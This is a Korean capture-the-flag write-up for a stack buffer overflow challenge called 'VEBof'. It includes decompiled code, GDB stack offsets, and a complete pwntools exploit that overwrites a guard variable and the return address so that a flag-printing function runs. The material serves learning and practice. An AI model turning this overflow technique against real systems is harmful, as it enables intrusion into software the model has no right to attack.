653 단어
3 분
[Pwnable] VEBof

문제 정보#

  • 출처: 2025 제4회 경남권 사이버보안 경진대회
  • 분야: Pwnable
  • 풀이 날짜: 2026. 07. 01

Environment#

  • Architecture : x86-64
  • OS : Linux
  • Debugger : GDB + pwndbg
  • Decompiler: BinaryNinja
  • Exploit : Python + pwntools

1. 함수 분석#

먼저 디컴파일을 통해 주요 함수의 흐름을 파악한다.

main() 함수 분석#

int32_t main(int32_t argc, char** argv, char** envp)
{
int32_t argc_1 = argc;
char** argv_1 = argv;
initialize();
void var_118;
__builtin_memset(&var_118, 0, 0x100);
void buf;
__builtin_memset(&buf, 0, 0x100);
int32_t var_21c = 0;
void (* var_10)() = tictoc;
puts("So, How much data do you want to input?");
__isoc99_scanf("%d", &var_21c);
puts("Let's input data!");
read(0, &buf, (uint64_t)var_21c); // 버퍼 오버플로우 발생하는 부분
if (var_10 == 0xdeadbeef)
return 0;
puts("Nah...");
exit(0xffffffff);
/* no return */
}
  • 입력할 데이터 사이즈와 데이터를 입력받음

  • if조건을 만족하면 retrurn을하고 만족못하면 exit로 프로그램을 종료함

    => 버퍼 오버플로우를 이용하여 if 조건을 만족시키고 Retrun Address를 수정해야함

printflag() 함수 분석#

int64_t printflag()
{
int64_t var_1008;
int64_t var_1008_1 = var_1008;
FILE* fp = fopen("./flag", "r");
if (!fp)
{
perror("fopen");
return 1;
}
setvbuf(stdout, nullptr, 2, 0);
uint64_t rax_1;
uint64_t count;
do
{
void buf;
count = fread(&buf, 1, 0x1000, fp);
if (!count)
{
fclose(fp);
printf("Flag : %s\n", &buf);
return 0;
}
rax_1 = fwrite(&buf, 1, count, stdout);
} while (count == rax_1);
perror("fwrite");
fclose(fp);
return 1;
}
  • ./flag 파일의 데이터를 출력하는 함수

2. Stack Frame 분석#

주요 함수 Address 확인한다.

p <함수명>

함수명Address
main0x40145e
printflag0x4012ff

어셈블리를 확인한다.

disas main

main 함수에 입력함수 직전에 브레이크를 걸고 데이터를 입력할때 까지 한 줄씩 코드 실행

// breakpoint 설정 및 실행
b *0x4014ea
r
ni // 한 줄씩 코드 실행

100 입력

aaaaaaaaaaaaaaaaaaaaaa... 입력

스택을 확인한다.

stack 80

지역변수들의 위치를 확인한다.

변수Address (rbp 기준)value
bufrbp-0x210aaaaaaaaaaaaaaaaaaaa.
var_10rbp-0x80x4012b6 (tictoc)
Return Addressrbp+0x80x7ffff7db6d90 (__libc_start_call_main+128)

이를 통해 rbp-0x210 ~ rbp+0x8 영역까지 버퍼 오버플로우를 시도하여 var_10과 Retrun Address의 값을 변경해야한다는걸 알수있다.

  • var_10: 0x4012b6 -> 0xdeadbeef
  • Return Address: 0x7ffff7db6d90 -> 0x0000004012ff

3. Offset 계산#

buf부터 var_10까지

0x210 - 0x8 = 0x208

buf부터 Return Address까지

0x210 + 0x8 = 0x218

정리

buf ~ var_10 = 0x208 bytes
buf ~ Return Address = 0x218 bytes

4. Exploit 코드 작성#

from pwn import *
context.binary = ELF("./chal")
context.arch = "amd64"
p = process("./chal")
# 주소
PRINTFLAG = 0x4012ff
DEADBEEF = 0xdeadbeef
# 1번째 입력 (정수)
p.sendline(b"600")
# 2번째 입력 (버퍼 오버플로우)
payload = b"A" * 0x208 # buf ~ var_10
payload += p64(DEADBEEF) # var_10 = 0xdeadbeef
payload += b"B" * 8 # saved rbp
payload += p64(PRINTFLAG) # Return Address overwrite
p.sendline(payload)
p.interactive()

5. 실행#

Terminal window
python3 exploit.py

exploit 코드를 실행시키면 flag(임의로 작성한 플래그, 실제 대회때 플래그 아님)가 출력되는걸 확인할수있다.